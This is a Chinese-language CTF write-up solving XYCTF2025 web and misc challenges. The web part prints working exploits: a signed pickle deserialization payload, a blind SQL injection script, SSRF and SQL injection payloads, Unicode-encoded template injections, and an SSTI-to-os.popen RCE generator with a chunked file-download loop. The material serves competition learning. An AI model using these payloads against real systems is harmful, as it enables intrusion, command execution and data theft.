当前位置: 首页 > news >正文

XYCTF2025 web 全wp

燃尽了,去年就没拿奖了,今年也失败了
ctf学习的生涯以XY开始,也以XY结束,这一年来碌碌无为,只有嗟叹
后面的比赛就不认真打了,随便看看把
cry 和re都是deepseek,就不放了,只放熟悉的web misc
不得不狠狠拷打pwn手,又暴0了
在这里插入图片描述
复现链接
https://gz.imxbt.cn/games/23

WEB

signin

一开始有个任意文件读取的点,过滤是可以绕过的,secret.txt读出来用做cookie签名的key
payload

?filename=./.././.././../secret.txt

审计bootle的set_cookie,和get_cookie,发现bootle的cookie数据使用pickle序列化的,直接打反序列化
在这里插入图片描述

直接叫ai根据bootle的代码写个对应的构造,直接用bottle本身的生成会参杂其他东西,可能会影响命令的执行
尝试弹shell失败了,就把命令结果写入文件,然后读取
脚本

import pickle, base64, hmac, hashlib
secret = b'Hell0_H@cker_Y0u_A3r_Sm@r7'  # 你需要知道 secret
digestmod = hashlib.sha256  # 取决于你代码里用的
msg=''
msg = b'''cos
system
(S'cat /f* > 1.txt'
tR.'''
msg_b64 = base64.b64encode(msg)
sig = hmac.new(secret, msg_b64, digestmod=digestmod).digest()
sig_b64 = base64.b64encode(sig)

value_to_pass = f"!{sig_b64.decode()}?{msg_b64.decode()}"
print(value_to_pass)

在这里插入图片描述

ez_sql

一个登录框,随便输入会有个警告,说预编译绑定的和实际传过去的不一致啥的,可能有sql注入
测试可以盲注,登陆上了发现还要个key,应该要盲注出key,
过滤了or就用异或,过滤了,网上也能搜到绕过的教程,过滤空格用%09
exp

def get_column_info():
    """获取目标字段的信息"""
    
    column = 'secret'
    
    num=0
    table = 'double_check'
            # 获取信息的个数
    for i in range(30):
                sql = f"admin'^((select count({column}) from {table} )={i})#".replace(' ','%09')
                data=f"username={sql}&password=123"
                res = requests.post(url=url_target,data=data,headers=headers)
                test_err(res.text)
                if str_judge in res.text:
                    num=i
                    break
    print(f"{column}字段有{num}条信息")
            # 逐条信息爆破
    for i in range(num):
                length = 0
                name = ''
                #获取信息长度
                for j in range(1,101):
                    sql=f"admin'^((select length({column}) from {table} limit 1 offset {i} )={j})#".replace(' ','%09')
                    data=f"username={sql}&password=123"
                    res = requests.post(url=url_target,data=data,headers=headers)
                    test_err(res.text)
                    if str_judge in res.text:
                        length=j
                        break
                print(f"第{i+1}条信息长度为{length}")
                #报破信息
                for k in range(1,length+1):
                    left,right=33,127
                    while left<right:
                        mid=(left+right)//2
                        sql=f"admin'^(ord(substr((select {column} from {table} limit 1 offset {i} )from {k} for 1))={mid})#".replace(' ','%09')
                        data=f"username={sql}&password=123"
                        res = requests.post(url=url_target,data=data,headers=headers)
                        test_err(res.text)
                        if condition(res):
                            name+=chr(mid)
                            print(name)
                            break
                        else:
                            sql = make_new_sql(sql)
                            data=f"username={sql}&password=123"
                            res = requests.post(url=url_target,data=data,headers=headers)
                            if condition(res):
                                right = mid
                            else:
                                left = mid
                print(f"第{i+1}条信息为:{name}")

在这里插入图片描述

进去后发现可以命令执行,无回显,过滤空格,写入文件就行

cat$IFS$9/f*>1.txt

fate

首先是前面的ssrf,前面+了个域名,要跳到自定义的需要加@ basectf也考过
过滤了字母,可以用0,linux 里访问0会解析为127.0.0.1
在这里插入图片描述

abcdefg就用二次url编码绕就行
然后来到sql查询部分,名字有json.loads来去,json的对象是可以嵌套的,在name里也嵌套一个对象,本地测试发现loads取出后,那些检测都失效了,而且json.loads解析完的字典,转为字符串自带单引号,容易闭合,再打sql注入即可

import binascii
def string_to_binary(input_string):
    binary_output = ''.join(format(ord(char), '08b') for char in input_string)
    return binary_output

import json
test="""{
  "name": {
    "))))))) union select FATE FROM FATETABLE WHERE NAME= \\\"LAMENTXU\\\" --+": "123"
  }
}"""
print(string_to_binary(test))
name=json.loads(test)['name']
if len(name) > 6:
            print('error!')
if '\'' in name:
            print('error!')
if ')' in name:
            print('error!')
print(name)
print(len(name))

payload

?url=@0:8080/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=011110110000101000100000001000000010001001101110011000010110110101100101001000100011101000100000011110110000101000100000001000000010000000100000001000100010100100101001001010010010100100101001001010010010100100100000011101010110111001101001011011110110111000100000011100110110010101101100011001010110001101110100001000000100011001000001010101000100010100100000010001100101001001001111010011010010000001000110010000010101010001000101010101000100000101000010010011000100010100100000010101110100100001000101010100100100010100100000010011100100000101001101010001010011110100100000010111000010001001001100010000010100110101000101010011100101010001011000010101010101110000100010001000000010110100101101001010110010001000111010001000000010001000110001001100100011001100100010000010100010000000100000011111010000101001111101

出题人已疯

限制了很短的长度,执行py代码几乎不可能,想到pyjail有unicode绕过这个手法,本地测试发现bottle的template居然也可以,
经过测试发现可以用%ba 把o替换了,然后全部url编码一下就行,因此payload

%7b%7b%ba%70%65%6e%28%27%2f%66%6c%61%67%27%29%2e%72%65%61%64%28%29%7d%7d

出题人已疯2

把read也ban了,一样的思路,去替换,把a替换为%aa
水了个一血

%7b%7b%ba%70%65%6e%28%27%2f%66%6c%61%67%27%29%2e%72%65%aa%64%28%29%7d%7d

you can see me 1

本来没啥思路,问了出题人,提示可以request.endpoint.1去取字符,取到endpoint 字符串r3al_ins1de_th0ught的下标为1的字符即为3
但是感觉仅靠endpoint字符不够啊,origin、mimetype、referer都没ban也可以用
思路:
用request作起点,|attr 取属性,里面的字符串通通用request.origin.n这种来去,origin就放上字符表
原本的ssti链子

# 取eval
target = "request|attr('close')|attr('__builtins__')|attr('__getitem__')('eval')"
# rce
eval_poc="__import__('os').popen('whoami').read()"

一开始先尝试reload,但失败,发现可以直接rce,😂
ai写脚本转换为payload

import string
import re

# 定义字符集
string.printable
charset='_()|*/?:;,&>[]=<-\'". '+string.ascii_letters
def encode_word(word):
    """将字符串中的每个字符转成 request.origin.<index>,并用 ~ 拼接"""
    return '~'.join(f'request.origin.{charset.index(c)}' if c in charset else c for c in word)

def get_payload(target, exclude=None, force_all=False):
    if exclude is None:
        exclude = []

    if force_all:
        # 直接整串字符替换(全替换模式)
        return encode_word(target)

    # 否则按 'xxx' 这种包裹的内容替换(普通模式)
    def replace(match):
        content = match.group(1)
        if content in exclude:
            return f"'{content}'"  # 原样返回
        else:
            return encode_word(content)  # 去掉引号,替换内容

    return re.sub(r"'([^']+)'", replace, target)

# 示例
target = "request|attr('close')|attr('__builtins__')|attr('__getitem__')('eval')"
reload_poc = "__import__('importlib').reload(os)"
system_poc="__import__('os').popen('whoami').read()"

# 正常 payload 替换(根据引号内容)
encoded = get_payload(target, )
if __name__ =='__main__':
# eval_poc 替换(全替换)
    poc = get_payload(system_poc, force_all=True)
    print(charset)
    print("Encoded payload:")
    print(encoded)
    print("Eval PoC:")
    print(poc)
    final_poc=f"{encoded}({poc})"
    print("final PoC:")
    print(final_poc)

成功执行
在这里插入图片描述

但是后面发现flag20多mb,base64 dump下来再转文件发现是wav,deepsound出flag

文件超级大,找ai写了分块写入的脚本

import os
import base64
import requests  # 如果你是通过 HTTP 接口传参
from shell import *
chunk_size = 15000
offset = 0
outfile = open("1.txt", "w")

while True:
    # 构造远程命令
    cmd = f"dd if=/1.txt bs=10 skip={offset} count={chunk_size} 2>/dev/null"
    target = "request|attr('close')|attr('__builtins__')|attr('__getitem__')('eval')"
    eval_poc=f"__import__('os').popen('{cmd}').read()"
    poc = get_payload(eval_poc, force_all=True)
    final_poc=f"{encoded}({poc})"
    headers={'Origin':charset}
    url=f'http://eci-2zehrf7bs4ke6th7i1wx.cloudeci1.ichunqiu.com:8080/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-{{%print({final_poc})%}}'
    b64_data = requests.get(url=url,headers=headers).text
    b64_data=b64_data.replace('Follow-your-heart-','')
    print(b64_data)
    if  len(b64_data)<30:
        break
    # 写入本地文件
    outfile.write((b64_data))
    offset += chunk_size
outfile.close()
print("下载完成")

在这里插入图片描述

you can see me 2(复现)

比2多了个不出网且无回显,有趣的是,明明题目附件代码里ban了origin,但环境测试还是能用,问了出题人说是又改回去了怕太难,
虽然,这些题本来就,不好评价

预期解法是打http响应头回显,后面发现可以创建一个static目录,然后把文件cp过去,访问/static/文件名就行,命令的执行结果也可以往那里放,flask默认开启static这个静态路由用来访问静态资源

还是思路太狭窄了,这样做容易多了
继续用上面的脚本构造payload,先base64 放过去,解码开头的发现是jpg文件头,

 cp /flag_h3r3 static/3.jpg

然后访问/static/3.jpg
在这里插入图片描述

搞下来后,常规方法都尝试了发现不行,看出题人wp发现是lsb隐写,但我随波,stegsolve,zsteg都没出,难道要自己手动搓脚本吗,
用了出题人给的在线网站才出 https://toolgg.com/image-decoder.html
在这里插入图片描述

ez_puzzle

手动通过的时候是弹窗,就找alert函数
在这里插入图片描述

只有这两个有
在这里插入图片描述

下面就是解出不通关的标志,上面就是flag,把那个G < yw4换成G > yw4,在拼一次图,出flag

misc

签个到把

拿去运行没回显,问了ai说是没有输出指令,叫ai补全一下,然后出flag
在这里插入图片描述

XGCTF

去ctfshow找XGCTF wp

看到web3有相关字符

在这里插入图片描述

搜索引擎搜索得到
在这里插入图片描述

查看http://dragonkeeep.top/category/CISCN%E5%8D%8E%E4%B8%9C%E5%8D%97WEB-Polluted/index.html
网站源代码
中间有一段
Base64解码即为flag

mader也要当ctfer

观看视频可以发现字幕中有特殊字符
把字幕导出来,然后去除多余字符
在这里插入图片描述

把16进制内容复制到010,搜索文件头可能是ae文件,导入ae
查看图层,发现flag2为flag
在这里插入图片描述

右键编辑文本ctrl+a ctrl+c ctrl+v得出l_re@IIy_w@nn@_2_Ie@rn_AE

会飞的雷克萨斯

左上角有个御茗轩茶府的招牌,高德地图搜一下,可以找到相似的图片
flag{四川省内江市资中县春岚北路中铁城市中心内}

曼波

smn.txt 一眼看出是逆序的base64,解码后发现典型的图片头,cyberchef 转存文件
随波逐流发现图片后面有东西,直接foremost分离,有个压缩包,解压后又是一个压缩包
提示密码是名字和开赛日期,就是XYCTF2025,
最后得到两个几乎一样的图片,想到双图盲水印,bwm.py一跑就出了
![[XYCTF2025-15.png]]

gredmen

把问题描述丢给deepseek,直接看出要贪心算法来解,并给了脚本
在这里插入图片描述

没写自动化的,自己手动敲上去
exp

def choose_numbers_with_all_choices(level):
    max_number = {1: 50, 2: 100, 3: 200}[level]
    counter = {1: 19, 2: 37, 3: 76}[level]
    
    # Precompute proper factors for each number
    factors = {}
    for n in range(1, max_number + 1):
        factors[n] = [i for i in range(1, n) if n % i == 0]
    
    chosen = set()
    my_score = 0
    opponent_score = 0
    my_choices = []  # To store all numbers chosen by me
    
    while counter > 0:
        best_net = -float('inf')
        best_num = None
        best_opponent_gain = 0
        
        for n in range(1, max_number + 1):
            if n in chosen:
                continue
            # Check if at least one factor is not chosen
            proper_factors = factors[n]
            available_factors = [f for f in proper_factors if f not in chosen]
            if not available_factors:
                continue  # Cannot choose this number
            
            # Calculate opponent's gain
            opponent_gain = sum(available_factors)
            net = n - opponent_gain
            
            if net > best_net:
                best_net = net
                best_num = n
                best_opponent_gain = opponent_gain
        
        if best_num is None:
            break  # No possible moves
        
        # Update scores and chosen set
        my_score += best_num
        opponent_score += best_opponent_gain
        my_choices.append(best_num)  # Add to my choices
        chosen.add(best_num)
        for f in factors[best_num]:
            chosen.add(f)
        
        counter -= 1
    
    # Add remaining numbers to opponent's score
    remaining_numbers = [n for n in range(1, max_number + 1) if n not in chosen]
    opponent_score += sum(remaining_numbers)
    
    print("All numbers chosen by me in order:")
    print(my_choices)
    print("\nFinal Score:")
    print(f"Me: {my_score}, Opponent: {opponent_score}")
    print("\nRemaining numbers assigned to opponent:")
    print(remaining_numbers)

# Example usage for level 1
print("Starting Level 1:")
choose_numbers_with_all_choices(1)

相关文章:

  • 【C++】stack和queue
  • Linux平台搭建MQTT测试环境
  • 使用scoop一键下载jdk和实现版本切换
  • Python数据分析-NumPy模块-矩阵的运算
  • Vue3+Ts封装ToolTip组件(2.0版本)
  • Vue.js 中 v-if 的使用及其原理
  • Nginx漏洞复现
  • andorid 查找没有使用的资源
  • Navicat和PLSQL在oracle 使用语句报ORA-00911: 无效字符
  • Mysql专题篇章
  • SQL Server 数据库邮件配置失败:SMTP 连接与权限问题
  • zookeeper平滑扩缩容
  • 蓝桥杯 C/C++ 组历届真题合集速刷(二)
  • 数字IC后端项目典型问题之后端实战项目问题记录
  • Linux驱动开发:SPI驱动开发原理
  • sql-labs靶场 less-1
  • fabric.js基础使用
  • CrystalDiskInfo电脑硬盘监控工具 v9.6.0中文绿色便携版
  • 平台算法暗战:ebay欧洲站搜索词长度同比缩短2.3字符的应对策略
  • Java 泛型的逆变与协变:深入理解类型安全与灵活性
  • 习近平同巴西总统卢拉共同会见记者
  • 孙简任吉林省副省长
  • 线下哪些商家支持无理由退货?查询方法公布
  • 最美西游、三星堆遗址等入选“2025十大年度IP”
  • 《淮水竹亭》:一手好牌,为何打成这样
  • 央行设立服务消费与养老再贷款,额度5000亿元